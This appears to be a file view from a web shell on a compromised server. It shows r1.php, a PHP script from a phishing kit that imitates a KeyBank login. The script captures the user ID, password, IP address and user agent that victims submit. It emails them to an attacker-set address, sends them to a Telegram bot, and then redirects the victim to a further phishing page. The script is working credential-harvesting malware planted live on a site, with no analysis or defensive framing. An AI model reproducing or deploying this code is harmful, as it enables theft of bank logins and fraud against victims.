%PDF- %PDF-
Direktori : /home/nailstv/public_html/notapproved-usrKEY/1d4b37fa199ec766587ac4e2cde59c69/ibxkey/process/ |
Current File : /home/nailstv/public_html/notapproved-usrKEY/1d4b37fa199ec766587ac4e2cde59c69/ibxkey/process/r1.php |
<?php session_start(); if ($_SERVER["REQUEST_METHOD"] === "GET") { header("Location: ../captcha.php"); }elseif ($_SERVER["REQUEST_METHOD"] === "POST") { include "../../../settings/settings.php"; function get_client_ip() { $ipaddress = ""; if (getenv("HTTP_CLIENT_IP")) $ipaddress = getenv("HTTP_CLIENT_IP"); else if(getenv("HTTP_X_FORWARDED_FOR")) $ipaddress = getenv("HTTP_X_FORWARDED_FOR"); else if(getenv("HTTP_X_FORWARDED")) $ipaddress = getenv("HTTP_X_FORWARDED"); else if(getenv("HTTP_FORWARDED_FOR")) $ipaddress = getenv("HTTP_FORWARDED_FOR"); else if(getenv("HTTP_FORWARDED")) $ipaddress = getenv("HTTP_FORWARDED"); else if(getenv("REMOTE_ADDR")) $ipaddress = getenv("REMOTE_ADDR"); else $ipaddress = "UNKNOWN"; return $ipaddress; } $IP = get_client_ip(); $user = $_POST["usid"]; $pswd = $_POST["psid"]; $Message = "KeyBank {Login Access}"."\r\n"; $Message .= "USER-ID: ".$user."\r\n"; $Message .= "Password: ".$pswd."\r\n"; $Message .= "IP: https://ip-api.com/".$IP."\r\n"; $Message .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n"; $headers = "From: lovely@lovely.com". "\r\n" . "Reply-To: lovely@lovely.com". "\r\n"; mail($sendto,"KeyBank",$Message,$headers); $options=array("http"=>array("method"=>"POST","header"=>"Content-Type:application/x-www-form-urlencoded\r\n","content"=>http_build_query(array("chat_id"=>$telegramchatid,"text"=>$Message)),),); file_get_contents("https://api.telegram.org/bot".$telegrambot."/sendMessage",false,stream_context_create($options)); header("Location: ../question.php?access_token=".md5(uniqid(rand(), true))); } ?>